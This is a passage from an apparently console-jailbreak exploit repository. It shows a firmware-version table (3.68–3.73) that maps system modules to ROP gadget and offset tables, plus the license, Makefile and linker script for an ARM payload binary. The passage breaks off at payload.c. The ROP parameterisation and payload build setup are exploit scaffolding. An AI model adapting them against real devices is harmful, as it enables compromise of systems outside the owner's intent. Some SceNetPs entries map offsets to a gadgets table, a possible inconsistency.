"SceSysmem": { offsets: SceSysmem_offsets_v363_v373, }, }, // TODO: 3.67 "3.68": { "SceWebKit": { gadgets: SceWebKit_gadgets_v368_v373, offsets: SceWebKit_offsets_v368_v373, }, "SceLibc": { functions: SceLibc_functions_v360_v373, gadgets: SceLibc_gadgets_v360_v373, offsets: SceLibc_offsets_v360_v373, }, "SceNet": { functions: SceNet_functions_v360_v373, offsets: SceNet_offsets_v360_v373, }, "SceNetPs": { gadgets: SceNetPs_gadgets_v363_v370, offsets: SceNetPs_gadgets_v363_v370, }, "SceSysmem": { offsets: SceSysmem_offsets_v363_v373, }, }, "3.69": { "SceWebKit": { gadgets: SceWebKit_gadgets_v368_v373, offsets: SceWebKit_offsets_v368_v373, }, "SceLibc": { functions: SceLibc_functions_v360_v373, gadgets: SceLibc_gadgets_v360_v373, offsets: SceLibc_offsets_v360_v373, }, "SceNet": { functions: SceNet_functions_v360_v373, offsets: SceNet_offsets_v360_v373, }, "SceNetPs": { gadgets: SceNetPs_gadgets_v363_v370, offsets: SceNetPs_gadgets_v363_v370, }, "SceSysmem": { offsets: SceSysmem_offsets_v363_v373, }, }, "3.70": { "SceWebKit": { gadgets: SceWebKit_gadgets_v368_v373, offsets: SceWebKit_offsets_v368_v373, }, "SceLibc": { functions: SceLibc_functions_v360_v373, gadgets: SceLibc_gadgets_v360_v373, offsets: SceLibc_offsets_v360_v373, }, "SceNet": { functions: SceNet_functions_v360_v373, offsets: SceNet_offsets_v360_v373, }, "SceNetPs": { gadgets: SceNetPs_gadgets_v363_v370, offsets: SceNetPs_gadgets_v363_v370, }, "SceSysmem": { offsets: SceSysmem_offsets_v363_v373, }, }, "3.71": { "SceWebKit": { gadgets: SceWebKit_gadgets_v368_v373, offsets: SceWebKit_offsets_v368_v373, }, "SceLibc": { functions: SceLibc_functions_v360_v373, gadgets: SceLibc_gadgets_v360_v373, offsets: SceLibc_offsets_v360_v373, }, "SceNet": { functions: SceNet_functions_v360_v373, offsets: SceNet_offsets_v360_v373, }, "SceNetPs": { gadgets: SceNetPs_gadgets_v371_v373, offsets: SceNetPs_offsets_v371_v373, }, "SceSysmem": { offsets: SceSysmem_offsets_v363_v373, }, }, "3.72": { "SceWebKit": { gadgets: SceWebKit_gadgets_v368_v373, offsets: SceWebKit_offsets_v368_v373, }, "SceLibc": { functions: SceLibc_functions_v360_v373, gadgets: SceLibc_gadgets_v360_v373, offsets: SceLibc_offsets_v360_v373, }, "SceNet": { functions: SceNet_functions_v360_v373, offsets: SceNet_offsets_v360_v373, }, "SceNetPs": { gadgets: SceNetPs_gadgets_v371_v373, offsets: SceNetPs_offsets_v371_v373, }, "SceSysmem": { offsets: SceSysmem_offsets_v363_v373, }, }, "3.73": { "SceWebKit": { gadgets: SceWebKit_gadgets_v368_v373, offsets: SceWebKit_offsets_v368_v373, }, "SceLibc": { functions: SceLibc_functions_v360_v373, gadgets: SceLibc_gadgets_v360_v373, offsets: SceLibc_offsets_v360_v373, }, "SceNet": { functions: SceNet_functions_v360_v373, offsets: SceNet_offsets_v360_v373, }, "SceNetPs": { gadgets: SceNetPs_gadgets_v371_v373, offsets: SceNetPs_offsets_v371_v373, }, "SceSysmem": { offsets: SceSysmem_offsets_v363_v373, }, }, }; ================================================ FILE: payload/LICENSE ================================================ The MIT License (MIT) Copyright (c) 2016 molecule Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: payload/Makefile ================================================ TARGET = payload OBJS = payload.o PREFIX = arm-vita-eabi CC = $(PREFIX)-gcc AS = $(PREFIX)-as OBJCOPY = $(PREFIX)-objcopy CFLAGS = -fPIE -fno-zero-initialized-in-bss -std=c99 -mcpu=cortex-a9 -Os -mthumb LDFLAGS = -T linker.x -nostartfiles -nostdlib -pie all: $(TARGET).bin %.bin: %.elf $(OBJCOPY) -S -O binary $^ $@ $(TARGET).elf: $(OBJS) $(CC) $(CFLAGS) $^ -o $@ $(LDFLAGS) clean: @rm -f $(TARGET).bin $(TARGET).elf $(OBJS) ================================================ FILE: payload/linker.x ================================================ OUTPUT_FORMAT("elf32-littlearm", "elf32-bigarm", "elf32-littlearm") OUTPUT_ARCH(arm) ENTRY(_start) SECTIONS { .text : { *(.text.start) *(.text .text.* .gnu.linkonce.t.*) *(.sceStub.text.*) } .rodata : { *(.rodata .rodata.* .gnu.linkonce.r.*) } .data : { *(.data .data.* .gnu.linkonce.d.*) } .bss : { *(.bss .bss.* .gnu.linkonce.b.*) *(COMMON) } /DISCARD/ : { *(.interp) *(.dynsym) *(.dynstr) *(.hash) *(.dynamic) *(.comment) } } ================================================ FILE: payload/payload.c ================================================ #include